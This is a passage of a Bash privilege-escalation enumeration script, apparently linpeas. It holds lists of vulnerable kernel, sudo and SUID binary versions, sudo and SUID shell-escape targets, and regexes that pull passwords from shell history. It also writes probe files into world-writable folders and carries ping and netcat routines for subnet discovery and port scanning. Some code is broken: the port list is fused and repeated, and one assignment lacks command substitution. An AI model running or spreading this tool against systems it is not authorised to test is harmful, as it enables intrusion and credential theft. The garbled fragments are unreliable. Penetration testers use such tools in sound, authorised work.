|3.10.0-123.9.3.el7\|3.10.0-123.13.1.el7\|3.10.0-123.13.2.el7\|3.10.0-123.20.1.el7\|3.10.0-229.el7\|3.10.0-229.1.2.el7\|3.10.0-229.4.2.el7\|3.10.0-229.7.2.el7\|3.10.0-229.11.1.el7\|3.10.0-229.14.1.el7\|3.10.0-229.20.1.el7\|3.10.0-229.24.2.el7\|3.10.0-229.26.2.el7\|3.10.0-229.28.1.el7\|3.10.0-229.30.1.el7\|3.10.0-229.34.1.el7\|3.10.0-229.38.1.el7\|3.10.0-229.40.1.el7\|3.10.0-229.42.1.el7\|3.10.0-327.el7\|3.10.0-327.3.1.el7\|3.10.0-327.4.4.el7\|3.10.0-327.4.5.el7\|3.10.0-327.10.1.el7\|3.10.0-327.13.1.el7\|3.10.0-327.18.2.el7\|3.10.0-327.22.2.el7\|3.10.0-327.28.2.el7\|3.10.0-327.28.3.el7\|3.10.0-327.36.1.el7\|3.10.0-327.36.2.el7\|3.10.0-229.1.2.ael7b\|3.10.0-229.4.2.ael7b\|3.10.0-229.7.2.ael7b\|3.10.0-229.11.1.ael7b\|3.10.0-229.14.1.ael7b\|3.10.0-229.20.1.ael7b\|3.10.0-229.24.2.ael7b\|3.10.0-229.26.2.ael7b\|3.10.0-229.28.1.ael7b\|3.10.0-229.30.1.ael7b\|3.10.0-229.34.1.ael7b\|3.10.0-229.38.1.ael7b\|3.10.0-229.40.1.ael7b\|3.10.0-229.42.1.ael7b\|4.2.0-0.21.el7" + +idB="euid\|egid" +sudovB="1.6.8p9\|1.6.9p18\|1.8.14\|1.8.20\|1.6.9p21\|1.7.2p4\|1\.8\.[0123]$\|1\.3\.[^1]\|1\.4\.\d*\|1\.5\.\d*\|1\.6\.\d*\|1.5$\|1.6$" + +mounted=`(mount -l || cat /proc/mounts || cat /proc/self/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|' | sed 's/|/\\\|/g'``cat /etc/fstab | grep -v "#" | grep " / " | cut -d " " -f 1` +mountG="swap\|/cdrom\|/floppy\|/dev/shm" +notmounted=`cat /etc/fstab | grep "^/" | grep -v $mountG | cut -d " " -f1 | grep -v $mounted | tr '\n' '|' | sed 's/|/\\\|/g'`"ImPoSSssSiBlEee" +mountpermsB="[^o]suid\|[^o]user\|[^o]exec" +mountpermsG="nosuid\|nouser\|noexec" + +rootcommon="/init$\|upstart-udev-bridge\|udev\|/getty\|cron\|apache2\|java\|tomcat\|/vmtoolsd\|/VGAuthService" + +groupsB="(root)\|(shadow)\|(admin)" #(video) Investigate +groupsVB="(sudo)\|(docker)\|(lxd)\|(wheel)\|(disk)" +knw_grps='(lpadmin)\|(adm)\|(cdrom)\|(plugdev)\|(nogroup)' #https://www.togaware.com/linux/survivor/Standard_Groups.html + +sidG="/abuild-sudo$\|/accton$\|/allocate$\|/arping$\|/at$\|/atq$\|/atrm$\|/authpf$\|/authpf-noip$\|/batch$\|/bbsuid$\|/bsd-write$\|/btsockstat$\|/bwrap$\|/cacaocsc$\|/camel-lock-helper-1.2$\|/ccreds_validate$\|/cdrw$\|/chage$\|/check-foreground-console$\|/chrome-sandbox$\|/chsh$\|/cons.saver$\|/crontab$\|/ct$\|/cu$\|/dbus-daemon-launch-helper$\|/deallocate$\|/desktop-create-kmenu$\|/dma$\|/dmcrypt-get-device$\|/doas$\|/dotlockfile$\|/dotlock.mailutils$\|/dtaction$\|/dtfile$\|/dtsession$\|/eject$\|/execabrt-action-install-debuginfo-to-abrt-cache$\|/execdbus-daemon-launch-helper$\|/execdma-mbox-create$\|/execlockspool$\|/execlogin_chpass$\|/execlogin_lchpass$\|/execlogin_passwd$\|/execssh-keysign$\|/execulog-helper$\|/expiry$\|/fdformat$\|/fusermount$\|/gnome-pty-helper$\|/glines$\|/gnibbles$\|/gnobots2$\|/gnome-suspend$\|/gnometris$\|/gnomine$\|/gnotski$\|/gnotravex$\|/gpasswd$\|/gpg$\|/gpio$\|/gtali\|/.hal-mtab-lock$\|/imapd$\|/inndstart$\|/kismet_capture$\|/ksu$\|/list_devices$\|/locate$\|/lock$\|/lockdev$\|/lockfile$\|/login_activ$\|/login_crypto$\|/login_radius$\|/login_skey$\|/login_snk$\|/login_token$\|/login_yubikey$\|/lpd$\|/lpd-port$\|/lppasswd$\|/lpq$\|/lprm$\|/lpset$\|/lxc-user-nic$\|/mahjongg$\|/mail-lock$\|/mailq$\|/mail-touchlock$\|/mail-unlock$\|/mksnap_ffs$\|/mlocate$\|/mlock$\|/mount.cifs$\|/mount.nfs$\|/mount.nfs4$\|/mtr$\|/mutt_dotlock$\|/ncsa_auth$\|/netpr$\|/netreport$\|/netstat$\|/newgidmap$\|/newtask$\|/newuidmap$\|/opieinfo$\|/opiepasswd$\|/pam_auth$\|/pam_extrausers_chkpwd$\|/pam_timestamp_check$\|/pamverifier$\|/pfexec$\|/ping$\|/ping6$\|/pmconfig$\|/polkit-agent-helper-1$\|/polkit-explicit-grant-helper$\|/polkit-grant-helper$\|/polkit-grant-helper-pam$\|/polkit-read-auth-helper$\|/polkit-resolve-exe-helper$\|/polkit-revoke-helper$\|/polkit-set-default-helper$\|/postdrop$\|/postqueue$\|/poweroff$\|/ppp$\|/procmail$\|/pt_chmod$\|/pwdb_chkpwd$\|/quota$\|/remote.unknown$\|/rlogin$\|/rmformat$\|/rnews$\|/sacadm$\|/same-gnome$\|screen.real$\|/sendmail.sendmail$\|/shutdown$\|/skeyaudit$\|/skeyinfo$\|/skeyinit$\|/slocate$\|/smbmnt$\|/smbumount$\|/smpatch$\|/smtpctl$\|/snap-confine$\|/sperl5.8.8$\|/ssh-agent$\|/ssh-keysign$\|/staprun$\|/startinnfeed$\|/stclient$\|/su$\|/suexec$\|/sys-suspend$\|/telnetlogin$\|/timedc$\|/tip$\|/traceroute6$\|/traceroute6.iputils$\|/trpt$\|/tsoldtlabel$\|/tsoljdslabel$\|/tsolxagent$\|/ufsdump$\|/ufsrestore$\|/umount.cifs$\|/umount.nfs$\|/umount.nfs4$\|/unix_chkpwd$\|/uptime$\|/userhelper$\|/userisdnctl$\|/usernetctl$\|/utempter$\|/utmp_update$\|/uucico$\|/uuglist$\|/uuidd$\|/uuname$\|/uusched$\|/uustat$\|/uux$\|/uuxqt$\|/vmware-user-suid-wrapper$\|/vncserver-x11$\|/volrmmount$\|/w$\|/wall$\|/whodo$\|/write$\|/X$\|/Xorg.wrap$\|/xscreensaver$\|/Xsun$\|/Xvnc$" +#Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION +sidB="/apache2%Read_root_passwd__apache2_-f_/etc/shadow\ + /chfn$%SuSE_9.3/10\ + /chkey$%Solaris_2.5.1\ + /chkperm$%Solaris_7.0_\ + /chpass$%OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ + /chpasswd$%SquirrelMail\ + /dtappgather$%Solaris_7_<_11_(SPARC/x86)\ + /dtprintinfo$%Solaris_10_(x86)\ + /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ + /ibstat%IBM_AIX_Version_6.1/7.1\ + /kcheckpass$%KDE_3.2.0_<-->_3.4.2_(both_included)\ + /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\ + /keybase-redirector%CentOS_Linux_release_7.4.1708\ + /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\ + /lpc$%S.u.S.E_Linux_5.2\ + /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\ + /mount$%Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ + /movemail$%Emacs\ + /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\ + /newgrp$%HP-UX_10.20\ + /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\ + /passwd$%Apple_Mac_OSX/Solaris/SPARC_8/9/Sun_Solaris_2.5.1_PAM\ + /pkexec$%rhel_6/Also_check_groups_privileges_and_pkexec_policy\ + /pppd$%Apple_Mac_OSX_10.4.8\ + /pt_chown$%GNU_glibc_2.1/2.1.1_-6\ + /pulseaudio$%(Ubuntu_9.04/Slackware_12.2.0)\ + /rcp$%RedHat_6.2\ + /rdist$%Solaris_10/OpenSolaris\ + /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\ + /screen$%GNU_Screen_4.5.0\ + /screen-4.5.0%GNU_Screen_4.5.0__HIGHLY_PROBABLE_A_PRIVILEGE_ESCALATION_VECTOR\ + /sdtcm_convert$%Sun_Solaris_7.0\ + /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_(SGI_ProPack_1.2/1.3)\ + /sudo$\ + /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/(RHEL_5/6/7/Ubuntu)/Sudo<=1.8.14\ + /tmux%Tmux_1.3_1.4_privesc + /traceroute$%LBL_Traceroute_[2000-11-15]\ + /umount$%BSD/Linux[1996-08-13]\ + /umount-loop$%Rocks_Clusters<=4.1\ + /uucp$%Taylor_UUCP_1.0.6\ + /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\ + /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\ + /xorg$%xorg-x11-server<=1.20.3/AIX_7.1_(6.x_to_7.x_should_be_vulnerable)_X11.base.rte<7.1.5.32\ + /xterm$%Solaris_5.5.1_X11R6.3" +sidVB='/aria2c$\|/arp$\|/ash$\|/awk$\|/base64$\|/bash$\|/busybox$\|/cat$\|/chmod$\|/chown$\|/cp$\|/csh$\|/curl$\|/cut$\|/dash$\|/date$\|/dd$\|/diff$\|/dmsetup$\|/docker$\|/ed$\|/emacs$\|/env$\|/expand$\|/expect$\|/file$\|/find$\|/flock$\|/fmt$\|/fold$\|/gdb$\|/gimp$\|/git$\|/grep$\|/head$\|/ionice$\|/ip$\|/jjs$\|/jq$\|/jrunscript$\|/ksh$\|/ld.so$\|/less$\|/logsave$\|/lua$\|/make$\|/more$\|/mv$\|/mysql$\|/nano$\|/nc$\|/nice$\|/nl$\|/nmap$\|/node$\|/od$\|/openssl$\|/perl$\|/pg$\|/php$\|/pic$\|/pico$\|/python$\|/readelf$\|/rlwrap$\|/rpm$\|/rpmquery$\|/rsync$\|/rvim$\|/scp$\|/sed$\|/setarch$\|/shuf$\|/socat$\|/sort$\|/sqlite3$\|/stdbuf$\|/strace$\|/systemctl$\|/tail$\|/tar$\|/taskset$\|/tclsh$\|/tee$\|/telnet$\|/tftp$\|/time$\|/timeout$\|/ul$\|/unexpand$\|/uniq$\|/unshare$\|/vim$\|/watch$\|/wget$\|/xargs$\|/xxd$\|/zip$\|/zsh$' + +sudoVB=" \*\|env_keep+=LD_PRELOAD\|apt-get$\|apt$\|aria2c$\|arp$\|ash$\|awk$\|base64$\|bash$\|busybox$\|cat$\|chmod$\|chown$\|cp$\|cpan$\|cpulimit$\|crontab$\|csh$\|curl$\|cut$\|dash$\|date$\|dd$\|diff$\|dmesg$\|dmsetup$\|dnf$\|docker$\|dpkg$\|easy_install$\|ed$\|emacs$\|env$\|expand$\|expect$\|facter$\|file$\|find$\|flock$\|fmt$\|fold$\|ftp$\|gdb$\|gimp$\|git$\|grep$\|head$\|ionice$\|ip$\|irb$\|jjs$\|journalctl$\|jq$\|jrunscript$\|ksh$\|ld.so$\|less$\|logsave$\|ltrace$\|lua$\|mail$\|make$\|man$\|more$\|mount$\|mtr$\|mv$\|mysql$\|nano$\|nc$\|nice$\|nl$\|nmap$\|node$\|od$\|openssl$\|perl$\|pg$\|php$\|pic$\|pico$\|pip$\|puppet$\|python$\|readelf$\|red$\|rlwrap$\|rpm$\|rpmquery$\|rsync$\|ruby$\|run-mailcap$\|run-parts$\|rvim$\|scp$\|screen$\|script$\|sed$\|service$\|setarch$\|sftp$\|smbclient$\|socat$\|sort$\|sqlite3$\|ssh$\|start-stop-daemon$\|stdbuf$\|strace$\|systemctl$\|tail$\|tar$\|taskset$\|tclsh$\|tcpdump$\|tee$\|telnet$\|tftp$\|time$\|timeout$\|tmux$\|ul$\|unexpand$\|uniq$\|unshare$\|vi$\|vim$\|watch$\|wget$\|wish$\|xargs$\|xxd$\|yum$\|zip$\|zsh$\|zypper$" +sudoB="$(whoami)\|ALL:ALL\|ALL : ALL\|ALL\|NOPASSWD\|/apache2" + +sudocapsB="/apt-get\|/apt\|/aria2c\|/arp\|/ash\|/awk\|/base64\|/bash\|/busybox\|/cat\|/chmod\|/chown\|/cp\|/cpan\|/cpulimit\|/crontab\|/csh\|/curl\|/cut\|/dash\|/date\|/dd\|/diff\|/dmesg\|/dmsetup\|/dnf\|/docker\|/dpkg\|/easy_install\|/ed\|/emacs\|/env\|/expand\|/expect\|/facter\|/file\|/find\|/flock\|/fmt\|/fold\|/ftp\|/gdb\|/gimp\|/git\|/grep\|/head\|/ionice\|/ip\|/irb\|/jjs\|/journalctl\|/jq\|/jrunscript\|/ksh\|/ld.so\|/less\|/logsave\|/ltrace\|/lua\|/mail\|/make\|/man\|/more\|/mount\|/mtr\|/mv\|/mysql\|/nano\|/nc\|/nice\|/nl\|/nmap\|/node\|/od\|/openssl\|/perl\|/pg\|/php\|/pic\|/pico\|/pip\|/puppet\|/python\|/readelf\|/red\|/rlwrap\|/rpm\|/rpmquery\|/rsync\|/ruby\|/run-mailcap\|/run-parts\|/rvim\|/scp\|/screen\|/script\|/sed\|/service\|/setarch\|/sftp\|/smbclient\|/socat\|/sort\|/sqlite3\|/ssh\|/start-stop-daemon\|/stdbuf\|/strace\|/systemctl\|/tail\|/tar\|/taskset\|/tclsh\|/tcpdump\|/tee\|/telnet\|/tftp\|/time\|/timeout\|/tmux\|/ul\|/unexpand\|/uniq\|/unshare\|/vi\|/vim\|/watch\|/wget\|/wish\|/xargs\|/xxd\|/yum\|/zip\|/zsh\|/zypper" +capsB="=ep\|cap_dac_read_search\|cap_dac_override" + +OLDPATH=$PATH +ADDPATH=":/usr/local/sbin\ + :/usr/local/bin\ + :/usr/sbin\ + :/usr/bin\ + :/sbin\ + :/bin" +spath=":$PATH" +for P in $ADDPATH; do + if [ ! -z "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi +done +writeB="\.sh$\|\./\|/etc/sysconfig/network-scripts/\|/etc/\|/sys/\|/lib/systemd\|/lib\|/boot\|/root\|/home/\|/var/log/\|/mnt/\|/usr/local/sbin\|/usr/sbin\|/sbin/\|/usr/local/bin\|/usr/bin\|/bin\|/usr/local/games\|/usr/games\|/usr/lib\|/etc/rc.d/\|" +writeVB="/etc/init\|/etc/sys\|/etc/shadow\|/etc/passwd\|/etc/cron\|"`echo $PATH 2>/dev/null| sed 's/:/\\\|/g'` + +sh_usrs=`cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/' | sed 's/|/\\\|/g'`"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere +nosh_usrs=`cat /etc/passwd 2>/dev/null | grep -i -v "sh$" | sort | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|/\\\|/g'`"ImPoSSssSiBlEee" +knw_usrs='daemon:\|daemon\s\|^daemon$\|message+\|syslog\|www\|www-data\|mail\|noboby\|Debian-+\|rtkit\|systemd+' +USER=`whoami` +HOME=/home/$USER +GROUPS="ImPoSSssSiBlEee"`groups $USER 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|' | sed 's/|/\\\|/g'` + +pwd_inside_history="PASSW\|passw\|root\|sudo\|^su\|pkexec\|^ftp\|mongo\|psql\|mysql\|rdekstop\|xfreerdp\|^ssh\|@" + +WF=`find /home /tmp /var /bin /etc /usr /lib /media /mnt /opt /root /dev -type d -maxdepth 2 '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | sort` +file="" +for f in $WF; do + echo '' 2>/dev/null > $f/$filename + if [ $? -eq 0 ]; then file="$f/$filename"; break; fi; +done; +Wfolders=`echo $WF | tr ' ' '|' | sed 's/|/\\\|/g'`"\|[^\*] \*" + +notExtensions="\.tif$\|\.tiff$\|\.gif$\|\.jpeg$\|\.jpg\|\.jif$\|\.jfif$\|\.jp2$\|\.jpx$\|\.j2k$\|\.j2c$\|\.fpx$\|\.pcd$\|\.png$\|\.pdf$\|\.flv$\|\.mp4$\|\.mp3$\|\.gifv$\|\.avi$\|\.mov$\|\.mpeg$\|\.wav$\|\.doc$\|\.docx$\|\.xls$\|\.xlsx$" + +TIMEOUT=`which timeout 2>/dev/null` +GCC=`which gcc 2>/dev/null` + +pathshG="/0trace.sh\|/blueranger.sh\|/dnsmap-bulk.sh\|/gettext.sh\|/go-rhn.sh\|/gvmap.sh\|/lesspipe.sh\|/mksmbpasswd.sh\|/setuporamysql.sh\|/setup-nsssysinit.sh\|/testacg.sh\|/testlahf.sh\|/url_handler.sh" + +notBackup="/tdbbackup$\|/db_hotbackup$" + + +########################################### +#---------) Checks before start (---------# +########################################### +# --) Writable folder +# --) ps working good +# --) Network binaries + +Wfolder="" +for f in $WF; do + echo '' 2>/dev/null > $f/$filename + if [ $? -eq 0 ]; then Wfolder="$f"; file="$f/$filename"; rm -f $f/$filename 2>/dev/null; break; fi; +done; + +if [ `ps aux 2>/dev/null | wc -l 2>/dev/null` -lt 8 ]; then + NOUSEPS="1" +fi + +DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" +FPING=$(which fping) +PING=$(which ping) +if [ "$FPING" ]; then + DISCOVER_BAN_GOOD="$GREEN$FPING$B is available for network discovery$LG (You can use linpeas to discover hosts, learn more with -h)" +else + if [ "$PING" ]; then + DISCOVER_BAN_GOOD="$GREEN$PING$B is available for network discovery$LG (You can use linpeas to discover hosts, learn more with -h)" + fi +fi + +SCAN_BAN_BAD="No port scan capabilities (nc not found)" +FOUND_NC=$(which nc 2>/dev/null) +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(which netcat 2>/dev/null); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(which ncat 2>/dev/null); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(which nc.traditional 2>/dev/null); +fi +if [ "$FOUND_NC" ]; then + SCAN_BAN_GOOD="$GREEN$FOUND_NC$B is available for network discover & port scanning$LG (You can use linpeas to discover hosts/port scanning, learn more with -h)" +fi + + +########################################### +#---------) Parsing parameters (----------# +########################################### +# --) FAST - Do not check 1min of procceses +# --) SUPERFAST - FAST & do not search for special filaes in all the folders + +FAST="" +SUPERFAST="" +NOTEXPORT="" +DISCOVERY="" +PORTS="" +QUIET="" +CHECKS="SysI,Devs,AvaSof,ProCronSrvcs,Net,UsrI,SofI,IntFiles" +HELP=$GREEN"Enumerate and search Privilege Escalation vectors. + $Y-h$B To show this message + $Y-q$B Do not show banner + $Y-f$B Fast (don't check 1min of processes) + $Y-s$B SuperFast (don't check 1min of processes and other time consuming checks bypassed) + $Y-n$B Do not export env variables related with history + $Y-o$B Only execute selected checks (SysI, Devs, AvaSof, ProCronSrvcs, Net, UsrI, SofI, IntFiles). Select a comma separated list. + $Y-d $B Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + $Y-p -d $B Discover hosts looking for TCP open ports (via nc). By default ports 80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + $Y-i [-p ]$B Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice$B that if you select some network action, any PE check will be performed\n\n" + +while getopts "h?fsd:p:i:qo:" opt; do + case "$opt" in + h|\?) printf "$HELP"$NC; exit 0;; + f) FAST=1;; + s) SUPERFAST=1;; + n) NOTEXPORT=1;; + d) DISCOVERY=$OPTARG;; + p) PORTS=$OPTARG;; + i) IP=$OPTARG;; + q) QUIET=1;; + o) CHECKS=$OPTARG;; + esac +done + + +########################################### +#-----------) Main Functions (------------# +########################################### + +echo_not_found (){ + printf $DG"$1 Not Found\n"$NC +} + +echo_no (){ + printf $DG"No\n"$NC +} + +print_ps (){ + (for f in `ls -d /proc/*/`; do CMDLINE=`cat $f/cmdline 2>/dev/null`; if [ "$CMDLINE" ]; then USER=ls -ld $f | awk '{print $3}'; PID=`echo $f | cut -d "/" -f3`; printf " %-13s %-8s %s\n" "$USER" "$PID" "$CMDLINE"; fi; done) 2>/dev/null | sort -r +} + +print_banner(){ +echo "          +               +         +          +       +         +         +          +           +          +              +         +        " +} + +########################################### +#----------) Network functions (----------# +########################################### +#Adapted from https://github.com/carlospolop/bashReconScan/blob/master/brs.sh + +basic_net_info(){ + echo "" + (ifconfig || ip a) 2>/dev/null + echo "" +} + +select_nc (){ + #Select the correct configuration of the netcat found + NC_SCAN="$FOUND_NC -v -n -z -w 1" + $($FOUND_NC 127.0.0.1 65321 > /dev/null 2>&1) + if [ $? -eq 2 ] + then + NC_SCAN="timeout 0.7 $FOUND_NC -v -n" + fi +} + +icmp_recon (){ + #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) + IP3=$(echo $1 | cut -d "." -f 1,2,3) + + (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed "s,[0-9]\+.[0-9]\+.[0-9]\+.[0-9]\+,${C}[1;31m&${C}[0m,") & + (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed "s,[0-9]\+.[0-9]\+.[0-9]\+.[0-9]\+,${C}[1;31m&${C}[0m,") & + for j in $(seq 0 254) + do + (timeout 0.7 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed "s,[0-9]\+.[0-9]\+.[0-9]\+.[0-9]\+,${C}[1;31m&${C}[0m,") & + done + wait +} + +tcp_recon (){ + #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones + IP3=$(echo $1 | cut -d "." -f 1,2,3) + PORTS=$2 + printf $Y"[+]$B Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + + for port in $PORTS; do + for j in $(seq 1 254) + do + ($NC_SCAN $IP3.$j $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed "s,[0-9\.],${C}[1;31m&${C}[0m,g") & + done + wait + done +} + +tcp_port_scan (){ + #Scan open ports of a host. Default: nmap top 1000, but the user can select others + basic_net_info + + printf $B"===================================( "$GREEN"Network Port Scanning"$B" )===================================\n"$NC + IP=$1 + PORTS=$2 + + if [ -z "$PORTS" ]; then + printf $Y"[+]$B Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " + printf "$NC\n" + PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 653891 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 